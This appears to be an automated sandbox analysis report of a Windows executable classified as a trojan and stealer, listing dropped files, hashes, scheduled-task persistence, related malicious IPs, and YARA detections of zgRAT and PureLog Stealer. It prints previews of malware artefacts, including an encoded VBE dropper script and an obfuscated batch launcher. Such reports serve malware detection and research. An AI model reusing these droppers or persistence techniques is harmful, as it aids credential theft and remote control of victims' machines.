Original Sample Name:	46dcddd43cbaeae845c14e7306726ff2.exe
Detection:	MAL
Classification:	mal100.troj.spyw.expl.evad.winEXE@37/346@0/2
EGA Information:	Successful, ratio: 50%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SystemSettings.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, schtasks.exe
Excluded IPs from analysis (whitelisted): 2.23.242.162, 20.109.210.53, 13.107.246.45
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, e16604.g.akamaiedge.net, ctldl.windowsupdate.com, prod.fs.microsoft.com.akadns.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target powershell.exe, PID 7996 because it is empty
Execution Graph export aborted for target powershell.exe, PID 8004 because it is empty
Execution Graph export aborted for target powershell.exe, PID 8020 because it is empty
Execution Graph export aborted for target powershell.exe, PID 8068 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtQueryVolumeInformationFile calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
01:57:22	API Interceptor	151x Sleep call for process: powershell.exe modified
01:57:30	API Interceptor	777931x Sleep call for process: uAsLgsGzSk.exe modified
01:57:31	API Interceptor	2x Sleep call for process: svchost.exe modified
06:57:21	Task Scheduler	Run new task: SystemSettings path: "C:\Recovery\SystemSettings.exe"
06:57:21	Task Scheduler	Run new task: SystemSettingsS path: "C:\Recovery\SystemSettings.exe"
06:57:21	Task Scheduler	Run new task: uAsLgsGzSk path: "C:\Recovery\uAsLgsGzSk.exe"
06:57:21	Task Scheduler	Run new task: uAsLgsGzSku path: "C:\Recovery\uAsLgsGzSk.exe"

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MAXITEL-ASRU	Fixer.exe	Get hash	malicious	RedLine, SheetRat	Browse	89.23.97.121
	Fixer.exe	Get hash	malicious	RedLine	Browse	89.23.97.121
	T4qO1i2Jav.exe	Get hash	malicious	LummaC Stealer	Browse	89.23.100.42
	XNPOazHpXF.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	89.23.96.180
	9FwQYJSj4N.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	89.23.96.180
	bPkG0wTVon.exe	Get hash	malicious	Unknown	Browse	89.23.100.233
	itLDZwgFNE.exe	Get hash	malicious	Flesh Stealer	Browse	89.23.100.233
	3gJQoqWpxb.bat	Get hash	malicious	Unknown	Browse	89.23.100.233
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, PureLog Stealer, Stealc	Browse	89.23.100.42
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	89.23.100.42

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\Desktop\CvvLBlqK.log	7aHY4r6vXR.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	0V2JsCrGUB.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	FYKrlfQrxb.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	PlZA6b48MW.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	3XtEci4Mmo.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	wxl1r0lntg.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	HaLCYOFjMN.exe	Get hash	malicious	DCRat, PureLog Stealer, RedLine, XWorm, zgRAT	Browse
	Z90Z9bYzPa.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	0J5DzstGPi.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	6d86b21fec8d0f8698e2e22aeda3fbd0381300e8a746b.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse

Created / dropped Files

C:\HyperWebbroker\kC1qNwulObrDTKeFv7nRu.vbe

Download File

Process:	C:\Users\user\Desktop\hz7DzW2Yop.exe
File Type:	data
Category:	dropped
Size (bytes):	245
Entropy (8bit):	5.884797037981624
Encrypted:	false
SSDEEP:	6:GJ2wqK+NkLzWbHOurFnBaORbM5nCJO+/s1m8+Hs:GJ7MCzWLOuhBaORbQCJH0oXM
MD5:	DEE780F62EACDC597601C402B88EA968
SHA1:	9A4196726254BCCBDFF34B276F613515838817C2
SHA-256:	DAF88159A6E3881975CE57838FD28E21CC2CD6EEB5893BFF93778055250EE510
SHA-512:	FCE89CDF68F03AB969079538E7832A210D4DADB107A89B114AC04CE52F0E2F9B5059905AC93833907A973341FB4488A8A1171007903613A9D542B877385B7FFD
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Preview:	#@~^3AAAAA==j.Y~q/4?t.V^~',Z.+mYn6(L+1O`r.?1.rwDRUtnVsE@#@&.U^DbwO UV+n2vFX!ZT@#@&U+DP.ktU4+^V~',Z.nmY+}8L.mYvE.?1DbwORj4.VsJ@#@&q/4j4+Vs "EUPr/=zuHw.D..4(.W0+.zJV!U(9wN+FxC,Z;LE:I! djpCD0;VwhF6&%4}%}6O,fx.{2Zqg}.R4mYrSPZ~~0mVdnyEUAAA==^#~@.

C:\HyperWebbroker\lGnbJpj21JH90uguTRu2sUXatfulFm1f34jhZ8QO993nz73C1NZz.bat

Download File

Process:	C:\Users\user\Desktop\hz7DzW2Yop.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	93
Entropy (8bit):	4.852901781263745
Encrypted:	false
SSDEEP:	3:Q1AwI2TwUEiUzlzcGHaOZHmFyVATbMsb4aZn:XK4uGldAGAToO
MD5:	DBB44638C3B379F5404B64129725B321
SHA1:	6565668D25A295F6EFA600BB58ECA92A8DA929A6
SHA-256:	3AAF5C7D8B99E1A6F2E02CA39B022C0E199C3AF2CD7BD437A21506D4824936C7
SHA-512:	D98494A60E4028E3FA51008831DDFF8BCE8D56B830BB8A241FC6E9B36AB031B145B7339857FF876AA2B60AE35449147066B52E17DDF580B2E198948F1E004F1E
Malicious:	false
Preview:	%NZOk%%NdZmpBrqvSSov%..%VyqaSvUIqhryFO%"C:\HyperWebbroker/serverBrokerperfMonitor.exe"%CyxRv%

C:\HyperWebbroker\serverBrokerperfMonitor.exe

Download File

Process:	C:\Users\user\Desktop\hz7DzW2Yop.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	2639872
Entropy (8bit):	7.708083768963088
Encrypted:	false
SSDEEP:	49152:BP7hQ8Pq9P0qBSw83+Gnfm+VS9QxqgYRvzd4WihPt:BPpicQSwYne++govniz
MD5:	C1CF39EF49B82B35938CA7A45DBCCEEE
SHA1:	5F299703C001F490C4D216C357BB468265714541
SHA-256:	E50625F048DA6C56A34810822FBAE68C7159C966450CFE73FEC3A8D0CDA0AFCA
SHA-512:	279B9E3BF02AF93934C25E604E2039F2CC336780EAA71B8E0AB7E58FEEE9809422D0FD107C82B2E1BA4E66E96F968B00F0B49395E79947262C88AE34650AF76B
Malicious:	true
Yara Hits:	Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 68%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...u..e.................@(.........^_(.. ...`(...@.. ........................(...........@.................................._(.K....`(.p.....................(...................................................... ............... ..H............text...d?(.. ...@(................. ..`.rsrc...p....`(......B(.............@....reloc........(......F(.............@..B................@_(.....H.......P...........e...d........^(......................................0..........(.... ........8........E........\...)...M...8....(.... ....~~...{....:....& ....8....(.... ....~~...{....:....& ....8....(.... ....8........0.......... ........8........E................F.......\|...8........~....(L...~....(P... ....<~... ....~~...{h...9....& ....8....~....(D... .... .... ....s....~....(H....... ....8g...~....:... ....~~...{....:I...& ....8>...r...ps....z*8.... ....~~...{....

C:\Program Files (x86)\Windows Defender\en-GB\de5836ef699499

Download File

Process:	C:\HyperWebbroker\serverBrokerperfMonitor.exe
File Type:	ASCII text, with very long lines (948), with no line terminators
Category:	dropped
Size (bytes):	948
Entropy (8bit):	5.901192535524882
Encrypted:	false
SSDEEP:	24:sGnQECmVxv52DpXH6zCPw/CXmP3UtMiJsQchpRYoWhNMr:sGnvZfv0DpK8WMtMUgoNQ
MD5:	3B0CA8246121DF5D14D3C47EC0153521
SHA1:	414A4C9CAE11AEFD2948B143D51F3BB40A22A600
SHA-256:	56BB4C312C83C900081CA642205284988F98560F036605ED4DCEDB9B6FB21871
SHA-512:	48D62FB2218566E7E8A7DCA4879AE9868A4524D5CF533BC04C4165468AEDD0C2304129D6310874C1CE9E228F3C2B48A7457F76BE9667ADBE0D78483BC7018E02
Malicious:	false
Preview:	F3Tq1h8X89xdqbqzGd1jZq6d5fYvhzsSyDvNE9ZJc2Q5olQAJmeK1uhZ7zuWJM0IRepmqdvHErHhaAzUPYm4VhaDgWQPOCAPBHoJ6oTq1XFJn986AZGvk6xtElFUMg2Cr1gSWqXlE6C7cRagXTOy5PoEU5FVi9dVeDcvdqkUCfqo4zQxLi63RDGbNb8alCCFcqdYyoCrt4wZi9KeoRK9CkEb7AiCrJt9dlMNW28gfPJXQq3NQdwT2CC2lBayGA9jLx67x6IvTnexarKRHUvNWZHbjTlVbKafPkLdu5aUVA9OiOc40JqwPwMvqeYeUxUJN8izfrhL3b2Wa23V0reSdnQcXaxPh69iq0BjpmZJme2x30VxlDnnSCpksFcF3So7cTpj1UpORVp9ucjgE9neTVPoKa0jJTPU05VkKv6RXYV7WqzQg5A3oKoGDBZadFE8FVIzH9VTDWG49SRelkDNTVppROgJWfxRUX1Ah9Ihkq0SDtHvt5y3C0ouqci2cM7iiyjlaR6mbfnmfXmhHuZbr3PetHUEbPEXtStOKfUc8McgMBPT0Avrwf0ojF2T71KLaP3NnXXla7cebsRr1BOaeWlObEpEnAfGBRG6ICpcnKRzCWN0yKb5nurEoovisT7ZcVdKmUjzVvxTFvLF1yPdijdRjBSdQGtTM1Xq2DOdkmk16X92dqr3De122MkkCFjOBdGNYeMykv268mULCZAjZzQrAeyqcnbeDVzcQve9e3TRm43Q1YinF9zMNZN3pgV6UX3mw14R4AFfg8FFkiyDFyZDgnP1ikT8hX7OBRdAdQsE4TpOTHTHrR1f8zGJmDsUrH8IB0ETFxjyGUIN7AiaRLQQgbQLKTYahXXxVgNdD9C4rCZoq2LlfSDf0rmjj2IvZJQs6V2axEWRJWidBmeSHw5PU16n4n3L1ReivrrVAvya5vVeJJi7

C:\Program Files (x86)\Windows Defender\en-GB\uAsLgsGzSk.exe

Download File

Process:	C:\HyperWebbroker\serverBrokerperfMonitor.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	2639872
Entropy (8bit):	7.708083768963088
Encrypted:	false
SSDEEP:	49152:BP7hQ8Pq9P0qBSw83+Gnfm+VS9QxqgYRvzd4WihPt:BPpicQSwYne++govniz
MD5:	C1CF39EF49B82B35938CA7A45DBCCEEE
SHA1:	5F299703C001F490C4D216C357BB468265714541
SHA-256:	E50625F048DA6C56A34810822FBAE68C7159C966450CFE73FEC3A8D0CDA0AFCA
SHA-512:	279B9E3BF02AF93934C25E604E2039F2CC336780EAA71B8E0AB7E58FEEE9809422D0FD107C82B2E1BA4E66E96F968B00F0B49395E79947262C88AE34650AF76B
Malicious:	true
Yara Hits:	Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Program Files (x86)\Windows Defender\en-GB\uAsLgsGzSk.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files (x86)\Windows Defender\en-GB\uAsLgsGzSk.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files (x86)\Windows Defender\en-GB\uAsLgsGzSk.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files (x86)\Windows Defender\en-GB\uAsLgsGzSk.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 68%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...u..e.................@(.........^_(.. ...`(...@.. ........................(...........@.................................._(.K....`(.p.....................(...................................................... ............... ..H............text...d?(.. ...@(................. ..`.rsrc...p....`(......B(.............@....reloc........(......F(.............@..B................@_(.....H.......P...........e...d........^(......................................0..........(.... ........8........E........\...)...M...8....(.... ....~~...{....:....& ....8....(.... ....~~...{....:....& ....8....(.... ....8........0.......... ........8........E................F.......\|...8........~....(L...~....(P... ....<~... ....~~...{h...9....& ....8....~....(D... .... .... ....s....~....(H....... ....8g...~....:... ....~~...{....:I...& ....8>...r...ps....z*8.... ....~~...{....

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x1edbb58c, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.42213608311883316
Encrypted:	false
SSDEEP:	1536:pSB2ESB2SSjlK/dvmdMrSU0OrsJzvdYkr3g16T2UPkLk+kTX/Iw4KKCzAkUk1kI6:paza/vMUM2Uvz7DO
MD5:	1D3EEAD89220FBC97E2B429C727136DB
SHA1:	432405DDDE0732B2CBD7B4E504D704ECFBF8AA4A
SHA-256:	68B7A7A6E0C5432A7A5CE46DBBDB388D829E528CEC6F622B04BA2BD2D3588096
SHA-512:	7FB941704B0218072D76C196508213B85446E5FBE33C7AAD26530823BC4ED152CAFE1550FA242077CDDCDBF8D81FDDCD52C99B007B53DC1C5D97754B6C328E2C
Malicious:	false
Preview:	...... .......A.......X\...;...{......................0.!..........{A..9...}..h.#.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........;...{...............................................................................................................................................................................................2...{..................................ap.<.9...}i.................$U...9...}...........................#......h.#.....................................................................................................................................................................................................................................................................................................................................................

C:\Recovery\9e60a5f7a3bd80

Download File

Process:	C:\HyperWebbroker\serverBrokerperfMonitor.exe
File Type:	ASCII text, with very long lines (689), with no line terminators
Category:	dropped
Size (bytes):	689
Entropy (8bit):	5.869777810154306
Encrypted:	false
SSDEEP:	12:JOVNq37HAqICd3K67PgKwWePGwqfGR0elLj8UfIeKoRj6kkWF/AwH7IiMuadXX/:JOV43DAqICd3x7PgK5wZuAfgeKMjPFVs
MD5:	CC995AAFFCF4AED7014294DE61621D92
SHA1:	0B6780AD4AD1DE0E2D555D09F778A79B76CD183C
SHA-256:	9B6D5A24675A70198C16BACF8F09C5BFA97D37592F103074A80794F0A239E0DF
SHA-512:	96D1F2889D49D67788B4191FD390F4A4F05DF34DF9319CBFA550896297C37CA99BF1E943E18180BFEB8911B8E1F05462BB7A629CD6B28850864C4C784DA36030
Malicious:	false
Preview:	TeK3Q42CDKbTAOBMODkgDvZc0yeBb4fMDoQChM8difjQpUlQeRrh4mniErDcZ0kJpPQV89oBFG7hLIwgMOgJN7SbBs7zJfEr4alaEPSfmpcxoFX54gPLUb6s6yUQBy2jCPnuhVb75Bhiefw6UB5mP3Xde3dP4Cdxw2uZbmYiERPT4YNbBY593PTJ1KQo2MD3htvmuXesnWh8oEjGpCOgGe4hilhRVuq2OVwKmlro4MWhrVexkK808hxCzNDI0MW2pptSSYdEUkl4HXzNGurLw04ritVZijxrzd1ClMeMq3fY525cY0BGfKGzuCujCEgvw4Enfwl4Pff2Ugvpy3AshrMoXBSjb5JmXulByR6lOH0ApOeOREvJDyOErZQdeCcTV2ek4u1g7ZdZ0M9JhDRWK9ijfhTYAcGMohowt3TgNOMoUyNeaH6auGIVU4EWacgeSQvTiMZntvJ6x3OrTy83fpciYSczy7FurrWED46NrSr87MhapXDmem9myN4PukywpYOGhKoZ1uLN8dkMuBJb3dQEsuQzArdHd4Ti7a3fsnuubvnUmresbX2LIKYw4yYKQEtEJBPTIosQtgn6G5NTMvqGBHaxBGk4OjdWBjKkbKkwomcmgcq8lF7fYnCClcRBDyBJCR4hum1BK3bYpyQjalSJl77XgI982iszlSjPhIN9O5UfL

C:\Recovery\SystemSettings.exe

Download File

Process:	C:\HyperWebbroker\serverBrokerperfMonitor.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	2639872
Entropy (8bit):	7.708083768963088
Encrypted:	false
SSDEEP:	49152:BP7hQ8Pq9P0qBSw83+Gnfm+VS9QxqgYRvzd4WihPt:BPpicQSwYne++govniz
MD5:	C1CF39EF49B82B35938CA7A45DBCCEEE
SHA1:	5F299703C001F490C4D216C357BB468265714541
SHA-256:	E50625F048DA6C56A34810822FBAE68C7159C966450CFE73FEC3A8D0CDA0AFCA
SHA-512:	279B9E3BF02AF93934C25E604E2039F2CC336780EAA71B8E0AB7E58FEEE9809422D0FD107C82B2E1BA4E66E96F968B00F0B49395E79947262C88AE34650AF76B
Malicious:	true
Yara Hits:	Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Recovery\SystemSettings.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Recovery\SystemSettings.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 68%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...u..e.................@(.........^_(.. ...`(...@.. ........................(...........@.................................._(.K....`(.p.....................(...................................................... ............... ..H............text...d?(.. ...@(................. ..`.rsrc...p....`(......B(.............@....reloc........(......F(.............@..B................@_(.....H.......P...........e...d........^(......................................0..........(.... ........8........E........\...)...M...8....(.... ....~~...{....:....& ....8....(.... ....~~...{....:....& ....8....(.... ....8........0.......... ........8........E................F.......\|...8........~....(L...~....(P... ....<~... ....~~...{h...9....& ....8....~....(D... .... .... ....s....~....(H....... ....8g...~....:... ....~~...{....:I...& ....8>...r...ps....z*8.... ....~~...{....

C:\Recovery\de5836ef699499

Download File

Process:	C:\HyperWebbroker\serverBrokerperfMonitor.exe
File Type:	ASCII text, with very long lines (872), with no line terminators
Category:	dropped
Size (bytes):	872
Entropy (8bit):	5.901295000659748
Encrypted:	false
SSDEEP:	24:0oIBsMbz63mM2DnSuiciRL6xJYS76/MW8yEc:bIZ02jSuic9x1sMc
MD5:	AA36663A71D70557491693DDE2D07742
SHA1:	A0FD0EF1D04221C59EB79B296B79C24D33771A34
SHA-256:	7EFDF317B2FFFA228BDE45332173DB26034D4A3DED9E88504B66CEB3776B63D4
SHA-512:	3E1AB4E738E0E465296C76A9BD3CA668729557A87F0794372F61A590BB7A5513989A8B6969AC353598227BF6F02B01ACCC4B7BD02A89216F20E7FF9C1FF9426B
Malicious:	false
Preview:	iETgBmn3JmKlxWPBBRXT5pncL1vMwK6QTtue5AGlWVwrUk09hKqUEM72b0VJ0aG8q3SDmuFBKw6j35IlAvomdmMGw2CFp7u5OxBaSxXxEpJRQX8gstIFveeEqLRusAVNBBVF3rTNY1hyc50Z3fX6ypKuS7uGfmFDT5POB3nAZ5q36qlvU10MnZZW1lw67NrvwdfhplXA2Wg29QxmW8vnv2a3f3XaGqDMN4HcKDFte0TR2gXkxKj8bD93DlBwN64MTUpEIUcS3CJ5jIB9gwn5HEuJ4NYiCTfh6H7i1SbcrQFY4EU5kCQaT8EOjfJ553Qjhl9cKcHNVKO09WP03d7ADEN7Ct8WIghxAf1SE1uI4CFJuOONQTCc6QgdYCabevEymazee7wBtzFA8ENxeuFzeE1u8Y4CbTnJ8RgUYusThAsHLgeTym6tpOUhiEfGCtkaL5Crh2YtBwSeWujc3kNzW4et68vUPmQxZS5Peww5NMr250LyfDMcfvDRbSuiHEeZgfEEyT8HyRmKMlxGx7yLZySoOoyLBNyIrSWavH9LFFoNJ3EzfovJQT9sNazKfxFkddc4PXVp8nGUKEfUj9pXbp2YSnNURyqSADupbKjISGLnMoiI5flgHrJxlDllJAXJ6xUGT02YZhEVeOLnFEZwMKKT46DXj88SsBqZUbzFmNGjmxTX27fFll6wmBMWwfzaiwmciwToOUK9DkqGnqflc2rHE4wTOcSGYpAzK0yFo10Rb7sBUFtG9N8qFfYoA9ZwBDlXj05w1Z7lCaqGLu9JtLHLrUupcKFobEPXWUbdJ6PkPXnpzRcP9QC06aqPGQTqTSJ8KSu0Sf9w6g5UrF0LszpLBZb6oMX3niQ6Npeg

C:\Recovery\uAsLgsGzSk.exe

Download File

Process:	C:\HyperWebbroker\serverBrokerperfMonitor.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	2639872
Entropy (8bit):	7.708083768963088
Encrypted:	false
SSDEEP:	49152:BP7hQ8Pq9P0qBSw83+Gnfm+VS9QxqgYRvzd4WihPt:BPpicQSwYne++govniz
MD5:	C1CF39EF49B82B35938CA7A45DBCCEEE
SHA1:	5F299703C001F490C4D216C357BB468265714541
SHA-256:	E50625F048DA6C56A34810822FBAE68C7159C966450CFE73FEC3A8D0CDA0AFCA
SHA-512:	279B9E3BF02AF93934C25E604E2039F2CC336780EAA71B8E0AB7E58FEEE9809422D0FD107C82B2E1BA4E66E96F968B00F0B49395E79947262C88AE34650AF76B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 68%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...u..e.................@(.........^_(.. ...`(...@.. ........................(...........@.................................._(.K....`(.p.....................(...................................................... ............... ..H............text...d?(.. ...@(................. ..`.rsrc...p....`(......B(.............@....reloc........(......F(.............@..B................@_(.....H.......P...........e...d........^(......................................0..........(.... ........8........E........\...)...M...8....(.... ....~~...{....:....& ....8....(.... ....~~...{....:....& ....8....(.... ....8........0.......... ........8........E................F.......\|...8........~....(L...~....(P... ....<~... ....~~...{h...9....& ....8....~....(D... .... .... ....s....~....(H....... ....8g...~....:... ....~~...{....:I...& ....8>...r...ps....z*8.... ....~~...{....

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\serverBrokerperfMonitor.exe.log

Download File

Process:	C:\HyperWebbroker\serverBrokerperfMonitor.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1689
Entropy (8bit):	5.356756887109143
Encrypted:	false
SSDEEP:	48:MxHKQwYHKGSI6oPtHTHhAHKKkrJHV1qHGIs1HmHKlT4vHNpv:iqbYqGSI6oPtzHeqKkt1wmj1GqZ4vtpv
MD5:	492A92D0EE9C7BD43DFCEC3E9B5026E2
SHA1:	93BC2DF595AA42E5D5EA39524B2BADCA903C964E
SHA-256:	03EB4302FE4EAADFA51D085CE53742C2DE6B09FDF2E3D9777E35CA638393135B
SHA-512:	B24A61EC3D0E8B44D65DE4DCCCB0BC8EE1F95471FEB72C529217F82B7342AC704EA38A24E698E5AE69BAF31AC28C6C1D8EE11FAEDA6BF49265F29B804B9D5F82
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Configuration\915c1ee906bd8dfc15398a4bab4acb48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Xml\db3df155ec9c0595b0198c4487f36ca1\System.Xml.ni.dll",0..2,"System.Security, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyT

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\uAsLgsGzSk.exe.log

Download File

Process:	C:\Recovery\uAsLgsGzSk.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	847
Entropy (8bit):	5.354334472896228
Encrypted:	false
SSDEEP:	24:ML9E4KQwKDE4KGKZI6KhPKIE4TKBGKoZAE4KKUNb:MxHKQwYHKGSI6oPtHTHhAHKKkb
MD5:	9F9FA9EFE67E9BBD165432FA39813EEA
SHA1:	6FE9587FB8B6D9FE9FA9ADE987CB8112C294247A
SHA-256:	4488EA75E0AC1E2DEB4B7FC35D304CAED2F877A7FB4CC6B8755AE13D709CF37B
SHA-512:	F4666179D760D32871DDF54700D6B283AD8DA82FA6B867A214557CBAB757F74ACDFCAD824FB188005C0CEF3B05BF2352B9CA51B2C55AECF762468BB8F5560DB3
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Configuration\915c1ee906bd8dfc15398a4bab4acb48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Xml\db3df155ec9c0595b0198c4487f36ca1\System.Xml.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1510207563435464
Encrypted:	false
SSDEEP:	3:NlllulTkklh:NllUokl
MD5:	8F489B5B8555D6E9737E8EE991AA32FD
SHA1:	05B412B1818DDB95025A6580D9E1F3845F6A2AFC
SHA-256:	679D924F42E8FC107A7BE221DE26CCFEBF98633EA2454D3B4E0D82ED66E3E03D
SHA-512:	97521122A5B64237EF3057A563284AC5C0D3354E8AC5AA0DE2E2FA61BA63379091200D1C4A36FABC16B049E83EF11DBB62E1987A6E4D6A4BCD5DDB27E7BD9F49
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\0A6LWeowbl

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\0AqDX7d521

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
